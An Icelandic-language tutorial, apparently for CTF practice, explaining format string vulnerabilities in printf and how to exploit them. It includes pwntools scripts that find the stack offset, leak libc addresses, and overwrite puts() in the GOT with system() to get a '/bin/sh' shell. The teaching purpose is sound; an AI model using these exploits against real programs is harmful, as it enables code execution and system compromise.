Skip to content

Format String árásir (e. Format String Attacks)

Hvað er vandinn?

printf og systkini þess (fprintf, sprintf, dprintf) taka á móti sniðsstreng (e. format string) sem stjórnar hvernig gögn eru prentuð:

printf("%d items cost $%f", count, price);
//      ↑ format string

Vandinn kemur þegar forritarinn sendir notendainntak beint sem format string:

char buf[64];
fgets(buf, 64, stdin);
printf(buf);          // RANGT! buf gæti innihaldið %x, %n, osfrv.
printf("%s", buf);    // RÉTT: buf er meðhöndlað sem venjulegur strengur

Format specifiers

Specifier Þýðing
%d Prentar int sem decimal
%x Prentar int sem hex
%s Prentar streng (les minni á vistfangi)
%p Prentar benda (e. pointer) sem hex
%n Skrifar fjölda prentaðra stafa á vistfang í viðfangi

%n er hættulegur

%n er eini format specifier-inn sem skrifar í minni, þetta er kjarni format string árásarinnar.


Lesa úr stafla

Þegar printf(buf) er kallað án viðfanga, les printf gildi af stafla eins og þau væru viðföngin.

printf("%x %x %x %x %x %x");
// Prentar gildi af stafla: innihald registers/stack

Direct parameter access

Við getum valið sérstaklega hvaða stak-sæti (e. stack position) við viljum lesa:

%1$x   → 1. viðfang
%6$x   → 6. viðfang (6. gildi á stafla)
%10$p  → 10. gildi á stafla sem pointer

Finna offset forritsins

from pwn import *

p = process('./challenge')

# Senda mynstur og sjá hvar við birtumst á stafla
for i in range(1, 20):
    p = process('./challenge')
    p.sendline(f'AAAA.%{i}$x'.encode())
    print(i, p.recvline())
    p.close()

# Þegar við sjáum 41414141 (AAAA í hex), vitum við offset

Leka vistfang (e. Leak address)

Format string leyfir okkur að lesa hvaðeina af stafla, þar á meðal return addresses og libc-heimilisföngin sem þegar eru á stafla.

from pwn import *

p = process('./challenge')

# Senda %p.%p.%p... til að fá heimilisföngin af stafla
payload = b'%p.' * 20
p.sendline(payload)
response = p.recvline()
# → 0x7f12345678.0x7fff123456.0x401234...

# Þegar við vitum offset (t.d. 7. sæti er libc vistfang):
p = process('./challenge')
p.sendline(b'%7$p')
leak = int(p.recvline().strip(), 16)

Skrifa í minni með %n

%n skrifar fjölda stafa sem hafa verið prentaðir hingað til, á vistfangið sem næsta viðfang bendir á.

printf("AAAA%n", &x);
→ x verður 4  (því við prentaðum 4 stafi)

Við getum stjórnað gildið sem er skrifað með því að bæta við prentaða (en ósýnilega) stafi:

printf("%100x%n", 0, &x);
→ x verður 100

Skrifa á handvalið vistfang

[vistfang sem við viljum skrifa á][%Xc][%Y$n]

Þar sem: - X = gildi sem við viljum skrifa - Y = sæti á stafla þar sem vistfangið er


GOT overwrite

Algengasta format string árásartækni í CTF: skrifa á GOT töfluna til að benda falli á system().

from pwn import *

elf  = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./challenge')

# 1. Leka libc vistfang
p.sendline(b'%7$p')   # Þegar við vitum offset
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.sym['__libc_start_main']

# 2. Skrifa system() yfir puts() í GOT
#    Næsta skipti sem puts() er kallað → kallar system() í staðinn

system_addr = libc.sym['system']
got_puts    = elf.got['puts']

# fmtstr_payload reiknar rétta %n payload sjálfkrafa
payload = fmtstr_payload(offset, {got_puts: system_addr})
p.sendline(payload)

# 3. Þegar puts("/bin/sh") er kallað næst → system("/bin/sh")
p.sendline(b'/bin/sh')
p.interactive()

fmtstr_payload

pwntools hefur innbyggða fmtstr_payload() fallið sem smíðar format string payload sjálfkrafa. Þú þarft bara að vita offset þinn.


Finna format string offset

from pwn import *

def get_offset(binary):
    for i in range(1, 50):
        p = process(binary)
        try:
            p.sendline(f'AAAA.%{i}$x'.encode())
            resp = p.recvline(timeout=1)
            if b'41414141' in resp:
                print(f'Offset: {i}')
                return i
        except:
            pass
        finally:
            p.close()

offset = get_offset('./challenge')

Gátlisti

  • [ ] Staðfesta að printf(buf) sé notað (ekki printf("%s", buf))
  • [ ] Finna format string offset með AAAA.%X$x mynsturinu
  • [ ] Leka libc vistfang ef ASLR er virkt
  • [ ] Ákveða markvistfang: GOT entry, __free_hook, __malloc_hook
  • [ ] Nota fmtstr_payload() í pwntools til að smíða payload

Samanburður: Read vs Write

Tækni Syntax Notkun
Lesa úr stafla %X$p / %X$x Leka heimilisföngin
Lesa streng %X$s Lesa minni á vistfangi
Skrifa 1 byte %X$hhn Skrifa eitt byte
Skrifa 2 bytes %X$hn Skrifa short (2 bytes)
Skrifa 4 bytes %X$n Skrifa int (4 bytes)